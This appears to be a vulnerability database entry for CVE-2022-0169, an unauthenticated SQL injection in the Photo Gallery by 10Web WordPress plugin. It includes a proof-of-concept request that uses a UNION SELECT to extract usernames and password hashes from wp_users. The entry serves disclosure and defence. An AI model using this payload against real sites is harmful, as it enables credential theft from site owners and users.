Lucene search
Krzysztof ZającWPEX-ID:0B4D870F-EAB8-4544-91F8-9C5F0538709CHistoryFeb 15, 2022 - 12:00 a.m.
Photo Gallery by 10Web < 1.6.0 - Unauthenticated SQL Injection
2022-02-1500:00:00
Krzysztof Zając
396
0.011 Low
EPSS
Percentile
84.3%
The plugin does not validate and escape the bwg_tag_id_bwg_thumbnails_0 parameter before using it in a SQL statement via the bwg_frontend_data AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL injection
https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1&bwg_tag_id_bwg_thumbnails_0[]=)%22%20union%20select%201,2,3,4,5,6,7,concat(user_login,%200x2c,%20user_pass),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20wp_users%20--%20gRelated
wpvulndb
wpvulndb
Photo Gallery by 10Web < 1.6.0 - Unauthenticated SQL Injection
2022-02-15 00:00:00
cvelist
cvelist
CVE-2022-0169 Photo Gallery by 10Web < 1.6.0 - Unauthenticated SQL Injection
2022-03-14 14:41:22
cve
cve
CVE-2022-0169
2022-03-14 15:15:09
prion
prion
Sql injection
2022-03-14 15:15:00
openvas
openvas
WordPress Photo Gallery Plugin < 1.6.0 SQLi Vulnerability
2022-04-05 00:00:00
nvd
nvd
CVE-2022-0169
2022-03-14 15:15:09
nuclei
nuclei
Photo Gallery by 10Web < 1.6.0 - SQL Injection
2023-08-02 08:39:49
checkpoint_advisories
checkpoint_advisories
WordPress Photo Gallery Plugin SQL Injection (CVE-2022-0169)
2022-10-20 00:00:00